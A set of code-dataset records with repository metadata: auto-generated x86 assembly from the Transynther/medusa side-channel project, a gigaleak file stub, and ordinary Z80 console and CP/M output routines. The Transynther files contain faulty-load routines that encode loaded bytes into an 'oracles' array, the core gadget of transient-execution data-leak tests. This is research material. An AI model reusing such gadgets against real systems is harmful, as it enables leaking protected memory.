'addresses_normal'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_US'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_US'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'44': 1768, 'c0': 2, '47': 1290, '00': 5129, 'ff': 11406, '3c': 4, '53': 1759, '81': 2, '49': 456, 'de': 12, '8f': 1} ff ff ff 00 ff ff 44 00 47 ff ff ff ff ff 00 ff 00 ff ff ff 00 47 44 ff 00 ff 00 47 53 ff ff 00 53 44 ff ff ff ff 00 00 00 ff ff 00 ff 00 ff ff 53 00 47 53 ff ff 00 47 44 ff ff 47 00 ff 53 ff 53 00 ff ff 44 ff ff 00 ff ff ff ff 44 00 47 ff 47 ff 00 00 ff ff ff ff ff ff 00 ff 00 ff ff 49 ff ff 00 ff ff 44 ff 53 ff 00 ff ff 44 47 47 00 00 00 00 49 ff ff ff ff ff ff ff ff 00 ff ff 44 53 ff 47 00 ff ff ff ff ff ff 44 ff ff ff ff 44 00 ff ff 00 ff ff 53 ff ff ff ff 44 ff 00 00 00 49 ff 53 ff 44 00 ff ff 53 00 ff ff ff ff ff 00 49 ff 44 ff ff 53 00 47 00 ff 00 47 ff 00 00 00 44 47 ff 00 00 de 00 ff 47 ff ff ff 47 53 00 44 ff 53 ff ff ff ff ff 44 00 ff ff 53 ff ff ff ff ff ff ff ff ff ff 00 49 ff ff ff 44 ff ff 00 47 53 ff 49 44 ff ff 00 53 00 ff ff ff 00 00 ff ff ff ff 00 ff ff 44 ff ff ff 44 ff 53 00 ff ff ff ff 53 00 ff ff 44 00 49 00 00 00 ff ff ff ff 00 49 ff ff ff ff ff 53 00 00 ff ff ff ff ff ff 47 47 44 ff 00 00 49 44 ff ff ff 44 ff 49 ff ff ff 44 00 ff ff 53 00 ff ff ff 00 ff 00 00 ff 00 ff ff ff 53 ff ff 53 ff 44 00 ff ff 00 ff ff ff 00 ff ff 53 ff ff ff ff 47 ff 00 ff 00 ff ff ff ff 47 ff ff 49 ff ff 00 00 ff 47 49 53 ff ff ff 00 ff ff 44 ff 44 ff ff ff ff 49 00 ff 47 00 53 00 49 ff ff ff ff ff 00 ff ff ff 00 ff 00 ff 00 ff ff 00 ff ff 47 ff ff ff 53 00 53 ff ff 47 00 49 00 47 ff ff 53 ff 44 ff ff 53 ff ff 44 ff 00 47 ff ff 47 ff ff 53 ff ff 00 ff 00 ff ff 53 00 00 ff ff ff 00 ff ff ff 47 00 ff ff ff ff 00 ff ff 44 00 00 00 ff 47 ff 00 00 ff 00 ff ff 44 00 ff 00 53 53 ff 47 53 53 00 ff ff 00 00 47 44 ff 00 00 ff ff ff 53 ff ff ff 00 ff ff 53 ff 53 00 53 44 00 00 ff 00 ff 00 ff 00 ff 00 ff ff 44 00 00 ff ff ff ff 44 00 ff ff 53 00 49 00 00 00 ff 00 ff ff ff ff ff ff ff 00 ff 00 47 ff 00 00 ff ff 00 ff ff 44 00 44 ff ff 00 ff 00 ff 00 ff ff 44 53 ff ff 00 ff ff ff ff 00 49 00 ff 00 00 44 00 00 00 ff ff 47 00 53 00 00 ff 00 53 00 53 ff ff 00 ff ff 44 00 49 ff 00 49 00 ff ff 44 ff 53 47 ff 53 ff ff ff 44 ff ff 00 00 ff 47 00 44 47 47 ff 53 ff 00 49 00 ff 44 ff 53 00 ff ff ff ff 00 ff 00 ff ff 47 ff 47 ff 53 53 00 47 53 49 ff ff 00 53 44 00 ff ff 44 ff ff ff 53 ff 44 00 00 ff 00 ff 00 00 53 ff 49 00 ff ff 00 ff 00 ff 00 00 44 ff ff ff ff ff 44 ff ff 44 ff 53 53 53 ff 00 00 ff 53 ff 00 ff ff 47 ff ff 00 ff ff 47 ff 49 44 00 ff 47 ff ff 53 53 44 47 ff 00 00 44 00 ff ff ff ff 53 ff ff ff 00 ff 00 44 00 00 ff 47 44 ff ff 00 ff ff ff 00 ff ff 44 00 ff 47 53 ff ff 44 00 ff 47 ff ff ff 44 ff ff ff 44 ff ff 53 47 00 00 53 53 53 ff ff ff ff 00 44 47 ff ff ff 00 44 00 ff 47 47 ff 53 ff 53 00 44 ff 00 ff 53 ff ff 00 ff ff ff 00 00 44 00 00 49 ff 00 47 00 44 47 53 44 00 47 ff ff ff 47 ff 00 ff 47 00 ff 47 ff ff ff 00 ff 00 ff ff ff 00 53 ff ff 00 ff 44 ff ff ff 44 00 ff 00 00 ff ff 44 ff ff 53 44 ff 53 ff ff ff 00 00 53 ff 53 00 ff ff 44 ff 49 ff 00 ff ff ff ff ff 44 ff 44 00 47 ff 00 ff ff 44 00 00 ff 00 53 00 ff 00 ff 47 ff ff ff 00 ff 00 ff 47 00 ff 47 49 00 00 ff 44 ff 53 00 00 53 53 ff 44 ff 44 53 ff ff ff 00 ff ff ff 00 49 44 ff ff ff 44 00 00 49 00 00 */
31.522556
2,999
0.656052
dfdae53ef905fa8a1929bf45d0f54aa1306e0b4c
146
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm/zel_dmap.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm/zel_dmap.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm/zel_dmap.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: zel_dmap.asm Type: file Size: 90862 Last-Modified: '2016-05-13T04:23:03Z' SHA-1: 0596E54D33917190099E259E5FBDBAEA4260BFF8 Description: null
20.857143
47
0.815068
a441067e58723d6ddfe864f897a80278a73efede
1,434
asm
Assembly
libsrc/target/zx/stdio/generic_console_attrs.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/zx/stdio/generic_console_attrs.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/zx/stdio/generic_console_attrs.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
MODULE generic_console_attrs SECTION code_driver PUBLIC generic_console_set_ink PUBLIC generic_console_set_paper PUBLIC generic_console_set_attribute EXTERN conio_map_colour EXTERN __zx_console_attr IF FORzxn EXTERN __zx_ink_colour ENDIF IF FORsam EXTERN __sam_MODE4_attr EXTERN __sam_MODE3_attr ENDIF generic_console_set_paper: IF FORsam ; For SAM modes, we don't do any mapping ld c,a ;Save it for a moment rrca rrca rrca rrca and 0xf0 ld (__sam_MODE4_attr+1),a rlca rlca and @11000000 ld (__sam_MODE3_attr+1),a ld a,c ENDIF call conio_map_colour rlca rlca rlca and @00111000 ld c,a ld hl,__zx_console_attr ld a,(hl) and @11000111 or c ld (hl),a generic_console_set_attribute: ret generic_console_set_ink: IF FORsam ; For SAM modes, we don't do any mapping ld c,a ;Save it for a moment rrca rrca rrca rrca and 0xf0 ld (__sam_MODE4_attr+0),a rlca rlca and @11000000 ld (__sam_MODE3_attr+0),a ld a,c ENDIF IF FORzxn ld (__zx_ink_colour),a ENDIF call conio_map_colour and 7 ld c,a ld hl,__zx_console_attr ld a,(hl) and @11111000 or c ld (hl),a ret
18.623377
44
0.593445
e6c6f740362956479d25112a5e08d88fbdd12277
685
asm
Assembly
libsrc/stdio/cpm/fputc_cons.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/stdio/cpm/fputc_cons.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/stdio/cpm/fputc_cons.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ; CPM Library ; ; Fputc_cons ; ; Stefano Bodrato - Apr. 2000 ; ; ; $Id: fputc_cons.asm,v 1.9 2016/05/15 20:15:45 dom Exp $ ; SECTION code_clib PUBLIC fputc_cons_native ; ; Entry: hl = points to char ; .fputc_cons_native ld hl,2 add hl,sp ld d,0 ld a,(hl) ld e,a cp 12 ; FF (CLS) ? jr z,docls IF STANDARDESCAPECHARS cp 10 ; CR ? jr nz,nocrlf ld c,2 call 5 ld de,13 ELSE cp 13 ; CR ? jr nz,nocrlf ld c,2 call 5 ld de,10 ENDIF .nocrlf ld c,2 jp 5 .docls ; This is the ANSI CLS call ld e,27 ld c,2 call 5 ld e,'[' ld c,2 call 5 ld e,'J' ld c,2 jp 5
12.924528
57
0.529927
210e50576776719081c3a289e6954fa7977861d4
2,659
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i9-9900K_12_0xca_notsx.log_10_1964.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i9-9900K_12_0xca_notsx.log_10_1964.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i9-9900K_12_0xca_notsx.log_10_1964.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xb023, %r9 nop inc %rcx mov $0x6162636465666768, %rdi movq %rdi, %xmm1 movups %xmm1, (%r9) nop nop nop nop nop add $35409, %rdx lea addresses_D_ht+0x683b, %r8 nop nop nop and $22578, %r9 movb (%r8), %cl nop nop nop nop nop cmp $47049, %r8 lea addresses_A_ht+0xd25b, %r10 nop nop xor $41687, %rsi movb $0x61, (%r10) nop add $2899, %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %r9 push %rbx push %rdi // Store mov $0x6d1a9000000001bb, %rdi nop nop cmp %r11, %r11 movb $0x51, (%rdi) nop nop nop sub $7771, %r13 // Load lea addresses_WT+0xdfbb, %r12 nop nop nop nop add $50408, %r14 mov (%r12), %r9w nop add %rdi, %rdi // Store lea addresses_WC+0x1a6bb, %r14 nop nop add $22501, %r12 mov $0x5152535455565758, %r11 movq %r11, %xmm4 vmovups %ymm4, (%r14) nop nop and %r13, %r13 // Store lea addresses_RW+0x1f5fb, %r11 xor $3055, %r9 mov $0x5152535455565758, %r12 movq %r12, (%r11) add $53534, %rdi // Faulty Load lea addresses_WC+0x1a6bb, %rdi clflush (%rdi) nop nop add %r12, %r12 vmovaps (%rdi), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r11 lea oracles, %rdi and $0xff, %r11 shlq $12, %r11 mov (%rdi,%r11,1), %r11 pop %rdi pop %rbx pop %r9 pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}} {'00': 1, '58': 9} 58 58 58 58 58 58 58 00 58 58 */
18.992857
124
0.638962